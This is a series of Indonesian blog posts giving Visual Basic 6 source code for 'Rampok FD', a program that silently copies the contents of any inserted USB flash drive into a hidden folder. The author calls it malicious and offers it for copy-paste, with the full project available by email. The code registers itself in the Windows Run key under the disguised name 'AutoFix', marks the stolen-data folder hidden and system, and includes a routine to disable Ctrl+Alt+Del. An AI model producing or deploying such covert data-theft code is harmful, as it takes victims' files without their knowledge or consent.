Ramadhan ke-2 dan Lanjutan source code rampok

Akhirnya ramadhan hari perdana udah kita lalui, ni hari yang kedua. pada hari ini akan aku teruskan pembuatan program rampok FD yang kemarin adalah source code untuk form1 dan form 2, sekarang kita akan membuat atau menuliskan code untuk module1, module2 dan usercontrol1.
oke ga usah basa basi langsung aja ya....
Berikut source code untuk module1 atau aku sebut modRegistry

Public Const HKEY_LOCAL_ROOT = &H80000000
Public Const HKEY_LOCAL_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const Tempat = HKEY_LOCAL_MACHINE
Public Const SubTempat = "Software\Mr_Hack\AwasRampok"
Public Const SubRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const KEY_ALL_ACCESS = _
KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

'Tipe Reg Key ROOT ...
Public Const ERROR_SUCCESS = 0
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_DWORD = 4 ' 32-bit number

Private Declare Function RegOpenKeyEx Lib _
"advapi32" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal ulOptions As Long, ByVal samDesired As Long, _
ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
"advapi32" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, ByRef lpType As Long, _
ByVal lpData As String, ByRef lpcbData As Long) _
As Long
Declare Function RegCreateKey Lib _
"advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long

Declare Function RegCloseKey Lib _
"advapi32.dll" (ByVal hKey As Long) As Long

Declare Function RegSetValueEx Lib _
"advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal _
lpValueName As String, ByVal _
Reserved As Long, ByVal dwType _
As Long, lpData As Any, ByVal _
cbData As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long

Public Code, DataString, Temp As String
Public PathDatabase As String
Public Sub SimpanReg(hKey As Long, strPath As String, _
strValue As String, strData As String)
Dim KeyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, KeyHand)
r = RegSetValueEx(KeyHand, strValue, 0, _
REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(KeyHand)
End Sub
Public Sub BacaReg(hKey As Long, strPath As String, strValue As String, strData As String)
On Error GoTo Error
Dim Data As Long
Data = GetKeyValue(hKey, _
strPath, strValue, strData)
Exit Sub
Error:
MsgBox "Tidak ada informasi Registry", _
vbInformation, "NIHIL"
End Sub

Public Function GetKeyValue(KeyRoot As Long, _
KeyName As String, _
SubKeyRef As String, _
ByRef KeyVal As String) _
As Boolean
Dim i As Long ' Counter untuk looping
Dim rc As Long ' Code pengembalian
Dim hKey As Long ' Penanganan membuka Registry Key
Dim hDepth As Long '
Dim KeyValType As Long ' Tipe Data sebuah Registry Key
Dim tmpVal As String ' Penyimpanan sementara nilai Registry Key
Dim KeyValSize As Long ' Ukuran variabel Registry Key
rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
tmpVal = String$(1024, 0)
KeyValSize = 1024
rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
KeyValType, tmpVal, KeyValSize)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
tmpVal = Left(tmpVal, KeyValSize - 1)
Else
tmpVal = Left(tmpVal, KeyValSize)
End If
Select Case KeyValType ' Cari tipe data...
Case REG_SZ ' Tipe data string Registry Key
KeyVal = tmpVal ' Copy nilai String
Case REG_DWORD ' Tipe data Double Word Registry Key
For i = Len(tmpVal) To 1 Step -1
KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
Next
KeyVal = Format$("&h" + KeyVal)
End Select
GetKeyValue = True ' Pengembalian sukses
rc = RegCloseKey(hKey) ' Tutup Registry Key
Exit Function ' Keluar dari fungsi
GetKeyError: ' Bersihkan memori jika terjadi error...
KeyVal = "" ' Set Return Val ke string kosong
GetKeyValue = False ' Pengembalian gagal
rc = RegCloseKey(hKey) ' Tutup Registry Key
End Function
Public Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub

setelah module 1 ni untuk module2 aku sebut modGeneral

'File
Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Path
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnID As NOTIFYICONDATA) As Boolean

Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type

Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201 'Button down kiri.
Public Const WM_LBUTTONUP = &H202 'Button up kiri.
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click.
Public Const WM_RBUTTONDOWN = &H204 'Button down kanan.
Public Const WM_RBUTTONUP = &H205 'Button up kanan.
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click.


Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String
Sub Translate() 'Encrypt/Decrypt Password
Dim i As Integer
Dim lokasi As Integer
Code = "1234567890" 'Ini kode/kunci utk melakukan encrypt/decrypt
Temp$ = ""
For i% = 1 To Len(DataString)
lokasi% = (i% Mod Len(Code)) + 1
'Gunakan logika XOR utk kombinasi encrypt/decrypt
Temp$ = Temp$ + Chr$(Asc(Mid$(DataString, i%, 1)) Xor _
Asc(Mid$(Code, lokasi%, 1)))
Next i%
End Sub

Public Function CariDrive() As String
Dim ictr As Integer
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next
End Function
Public Function IdentifikasiDrive() As Boolean
Dim ictr As Integer
Dim sDrive As String
Dim Tempatnya As String
Dim AA As String
Dim BB As Integer
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
Tempatnya = Tempatnya & sDrive
End If
Next
AA = Tempatnya
BB = Len(Trim(AA))
If BB >= 0 Then
IdentifikasiDrive = True
Else
IdentifikasiDrive = False
End If
End Function

Public Function CopyFiles(sSourcePath As String, sDestination As String, sFiles As String) As Long
Dim WFD As WIN32_FIND_DATA
Dim SA As SECURITY_ATTRIBUTES
Dim r As Long
Dim hFile As Long
Dim bNext As Long
Dim copied As Long
Dim currFile As String
On Error Resume Next
r = CreateDirectory(sDestination, SA)
hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If hFile Then
Do
currFile = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)))
r = CopyFile(sSourcePath & currFile, sDestination & currFile, False)
copied = copied + 1
bNext = FindNextFile(hFile, WFD)
Loop Until bNext = 0
End If
r = FindClose(hFile)
CopyFiles = copied
End Function
Public Sub BuatFolder(Foldere As String)
Dim SA As SECURITY_ATTRIBUTES
Dim Buat As Long
Buat = CreateDirectory(Foldere, SA)
End Sub

udah selesai Copas-nya kalau udah ni yang terakhir yaitu usercontrol1 aku sebut CommonDialog untuk membuka file

Option Explicit

Private Declare Function GetOpenFileName Lib _
"COMDLG32.DLL" Alias "GetOpenFileNameA" _
(pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib _
"COMDLG32.DLL" Alias "GetSaveFileNameA" _
(pOpenfilename As OPENFILENAME) As Long

Private cdlg As OPENFILENAME
Private LastFileName As String

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

Private Const OFN_ALLOWMULTISELECT = &H200
Private Const OFN_CREATEPROMPT = &H2000
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_ENABLETEMPLATEHANDLE = &H80
Private Const OFN_EXPLORER = &H80000
Private Const OFN_EXTENSIONDIFFERENT = &H400
Private Const OFN_FILEMUSTEXIST = &H1000
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_LONGNAMES = &H200000
Private Const OFN_NOCHANGEDIR = &H8
Private Const OFN_NODEREFERENCELINKS = &H100000
Private Const OFN_NOLONGNAMES = &H40000
Private Const OFN_NONETWORKBUTTON = &H20000
Private Const OFN_NOREADONLYRETURN = &H8000
Private Const OFN_NOTESTFILECREATE = &H10000
Private Const OFN_NOVALIDATE = &H100
Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_READONLY = &H1
Private Const OFN_SHAREAWARE = &H4000
Private Const OFN_SHAREFALLTHROUGH = 2
Private Const OFN_SHARENOWARN = 1
Private Const OFN_SHAREWARN = 0
Private Const OFN_SHOWHELP = &H10

Public Enum DialogFlags
ALLOWMULTISELECT = OFN_ALLOWMULTISELECT
CREATEPROMPT = OFN_CREATEPROMPT
ENABLEHOOK = OFN_ENABLEHOOK
ENABLETEMPLATE = OFN_ENABLETEMPLATE
ENABLETEMPLATEHANDLE = OFN_ENABLETEMPLATEHANDLE
EXPLORER = OFN_EXPLORER
EXTENSIONDIFFERENT = OFN_EXTENSIONDIFFERENT
FILEMUSTEXIST = OFN_FILEMUSTEXIST
HIDEREADONLY = OFN_HIDEREADONLY
LONGNAMES = OFN_LONGNAMES
NOCHANGEDIR = OFN_NOCHANGEDIR
NODEREFERENCELINKS = OFN_NODEREFERENCELINKS
NOLONGNAMES = OFN_NOLONGNAMES
NONETWORKBUTTON = OFN_NONETWORKBUTTON
NOREADONLYRETURN = OFN_NOREADONLYRETURN
NOTESTFILECREATE = OFN_NOTESTFILECREATE
NOVALIDATE = OFN_NOVALIDATE
OVERWRITEPROMPT = OFN_OVERWRITEPROMPT
PATHMUSTEXIST = OFN_PATHMUSTEXIST
ReadOnly = OFN_READONLY
SHAREAWARE = OFN_SHAREAWARE
SHAREFALLTHROUGH = OFN_SHAREFALLTHROUGH
SHARENOWARN = OFN_SHARENOWARN
SHAREWARN = OFN_SHAREWARN
ShowHelp = OFN_SHOWHELP
End Enum

Private CFm_CancelError As Boolean
Private CFm_DialogTitle As String
Private CFm_DefaultExt As String
Private CFm_FileName As String
Private CFm_FileTitle As String
Private CFm_Filter As String
Private CFm_Flags As DialogFlags
Private CFm_InitDir As String

Public Property Get CancelError() As Boolean

CancelError = CFm_CancelError

End Property

Public Property Let CancelError(PropVal As Boolean)

CFm_CancelError = PropVal

End Property

Public Property Get DialogTitle() As String

DialogTitle = CFm_DialogTitle

End Property

Public Property Let DialogTitle(PropVal As String)

CFm_DialogTitle = PropVal

End Property

Public Property Get DefaultExt() As String

DefaultExt = CFm_DefaultExt

End Property

Public Property Let DefaultExt(PropVal As String)

CFm_DefaultExt = PropVal

End Property

Public Property Get FileName() As String

FileName = CFm_FileName

End Property

Public Property Let FileName(PropVal As String)

CFm_FileName = PropVal

End Property

Public Property Get FileTitle() As String

FileTitle = CFm_FileTitle

End Property

Public Property Let FileTitle(PropVal As String)

CFm_FileTitle = PropVal

End Property

Public Property Get Filter() As String

Filter = CFm_Filter

End Property

Public Property Let Filter(PropVal As String)

CFm_Filter = PropVal

End Property

Public Property Get Flags() As DialogFlags

Flags = CFm_Flags

End Property

Public Property Let Flags(PropVal As DialogFlags)

CFm_Flags = PropVal

End Property

Public Property Get InitDir() As String

InitDir = CFm_InitDir

End Property

Public Property Let InitDir(PropVal As String)

CFm_InitDir = PropVal

End Property


Private Sub UserControl_Initialize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Private Sub UserControl_Resize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Public Sub ShowOpen()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetOpenFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub

Public Sub ShowSave()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetSaveFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub

sekian dulu source code rampok FD-nya.
ni tampilan untuk form1


yang ni gambar untuk form2

kalau mau projetnya email saya ya atau YM-an juga bisa.

Read more

Lanjutan dari kode Rampok FD

Maaf ya kalau saya pisah-pisah, tadi pagi aku udah buat menyatu entah kenapa pada waktu aku posting selalu gagal, mungkin terlalu panjang ya.....
oke langsung aja silahkan anda ikuti langkah kedua.
Ini kode untuk form2

Dim Password As String
Dim UserName As String

Private Sub cmdCancel_Click()
txtUser.Text = ""
txtPass.Text = ""
Unload Me
End Sub

Private Sub cmdOK_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
DataString = Password
Translate
Password = Temp$
If txtUser.Text = UserName Then
If txtPass.Text = Password Then
txtPass.Text = ""
Perkosa.WindowState = 0
Perkosa.Show
Me.Hide
Else
MsgBox "Maaf! password salah!", vbOKOnly + vbCritical, "Sory bro"
Label2.Caption = Val(Label2.Caption) + 1
txtUser.Text = ""
txtPass.Text = ""
End If
Else
txtUser.Text = ""
txtPass.Text = ""
MsgBox "Maaf! Username ga cocok bro!", vbOKOnly + vbCritical, "Salah bro"
Label2.Caption = Val(Label2.Caption) + 1
End If
If Label2.Caption = "3" Then
MsgBox "File kompi anda akan terhapus semua!" + Chr(13) + _
"Silahkan tunggu 10 menit untuk melihatnya!!", vbOKOnly + vbCritical, "Hancurkannnn"
txtUser.Text = ""
txtPass.Text = ""
Label2.Caption = "0"
Exit Sub
Unload Me
End If
End Sub

Private Sub Form_Activate()
txtUser.SetFocus
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
cmdCancel_Click
End Sub

untuk 2 module dan 1 user control akan aku bahas besok ya

Read more

Awal Ramadhan + Source code rampok FD

Akhirnya hari yang di tunggu-tunggu datang juga yaitu hari di mana awal dari bulan ramadhan, bulan yang penuh berkah. mohon doanya ya semoga bulan ini saya bisa menjalankan ibadah puasa, sehingga dapat hidayah dari Allah SWT. dan bulan ini saya akan membagikan ilmu saya pada visual basic. doakan kan setiap hari di bulan ramadhan aku akan membahas 1 tentang visual basic, dab bermanfaat bagi pembaca.
Silahkan aja anda ikuti tutorial saya di hari bulan puasanya ini. disini aku akan membahas gimana kita dapat mengambil data dari flasdisk yang tercolok di kompi kita.
sebenarnya program ini termasuk jahat juga karena program ini akan menyedot isi dari FD tanpa pemberitahuan. langsung aja ikuti petunjuk seterusnya

Buka VB6 ya......., jangan sediakan apa2 kan puasa....hehe...
1. Siapkan 2 form, 2 module, 1 usercontrol
2. Siapkan jari anda untuk copas (copy paste ni source) untuk tampilan gimana mas?
kan udah besar pikir dan bayangkan sendiri ya....

ni kode untuk form1

Dim SearchFlag As Integer
Dim Aku As Long
Dim myPath As String
Dim Direktori As String, Folder As String, Ekstensi As String
Dim UserName As String, Password As String, AutoStart As String
Dim Hidden As String, RampokSemua As String
Dim nID As NOTIFYICONDATA
Private Sub UpdateIcon(IconApa As Long)
With nID
.cbSize = Len(nID)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = IconApa
End With
Shell_NotifyIcon NIM_ADD, nID
End Sub

Private Sub Rampok(Tempatnya As String)
Dim PathPertama As String, JumlahDir As Integer, NomorFile As Integer
Dim Hasilnya As Integer
Dim ind As Integer
Dim i As Integer
On Error Resume Next
If dirList.Path <> dirList.List(dirList.ListIndex) Then
dirList.Path = dirList.List(dirList.ListIndex)
Exit Sub
End If
dirList.Path = Tempatnya
PathPertama = dirList.Path
JumlahDir = dirList.ListCount
DoEvents
NomorFile = 0
Hasilnya = DirDiver(PathPertama, JumlahDir, "")
filList.Path = dirList.Path
Screen.MousePointer = vbDefault
End Sub

Private Function DirDiver(PathBaru As String, JumlahDir As Integer, BackUp As String) As Integer
Dim DirsToPeek As Long
Dim AbandonSearch As Long
Dim ind As Long
Dim PathLama As String
Dim PathSekarang As String
Dim Entry As String
Dim Retval As Integer
Dim X As Integer
Dim HariIni As String
On Error Resume Next
HariIni = Format(Now, "yyyymmdd")
BuatFolder txtField(0).Text + txtField(1).Text + "\"
BuatFolder txtField(0).Text + txtField(1).Text + "\" + HariIni + "\"
SearchFlag = True
DirDiver = False
Retval = DoEvents()
If SearchFlag = False Then
DirDiver = True
Exit Function
End If
DirsToPeek = dirList.ListCount
Do While DirsToPeek > 0 And SearchFlag = True
PathLama = dirList.Path
dirList.Path = PathBaru
If dirList.ListCount > 0 Then
dirList.Path = dirList.List(DirsToPeek - 1)
AbandonSearch = DirDiver((dirList.Path), JumlahDir%, PathLama)
End If
DirsToPeek = DirsToPeek - 1
If AbandonSearch = True Then Exit Function
Loop
If filList.ListCount Then
If Len(dirList.Path) <= 3 Then
PathSekarang = dirList.Path
Else
PathSekarang = dirList.Path + "\"
End If
For ind = 0 To filList.ListCount - 1
Entry = PathSekarang + filList.List(ind)
Aku = CopyFiles(PathSekarang, txtField(0).Text + txtField(1).Text + "\" + HariIni + "\", filList.List(ind))
Next ind
End If
If BackUp <> "" Then
dirList.Path = BackUp
End If
End Function

Private Sub chkHide_Click()
On Error Resume Next
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf chkHide.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
End Sub
Private Sub chkStart_Click()
On Error Resume Next
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
ElseIf chkStart.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
End Sub

Private Sub cmdBrowse_Click()
On Error Resume Next
With BukaFile
.ShowOpen
txtField(0).Text = Left(.FileName, Len(Trim(.FileName)) - Len(Trim(.FileTitle)))
End With

End Sub

Private Sub cmdSimpan_Click()
On Error Resume Next
DataString = txtField(4).Text
Translate
Call SimpanReg(Tempat, SubTempat, "Direktori", txtField(0).Text)
Call SimpanReg(Tempat, SubTempat, "Folder", txtField(1).Text)
Call SimpanReg(Tempat, SubTempat, "Ekstensi", txtField(2).Text)
Call SimpanReg(Tempat, SubTempat, "UserName", txtField(3).Text)
Call SimpanReg(Tempat, SubTempat, "Password", Temp$)
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
Else
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
Else
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If

If optPil(0).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
filList.Pattern = txtField(2).Text
ElseIf optPil(1).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If

For i = 0 To 4
txtField(i).Locked = True
Next i
cmdSimpan.Enabled = False
cmdUbah.Enabled = True

End Sub

Private Sub cmdUbah_Click()
On Error Resume Next
For i = 0 To 4
txtField(i).Locked = False
Next i
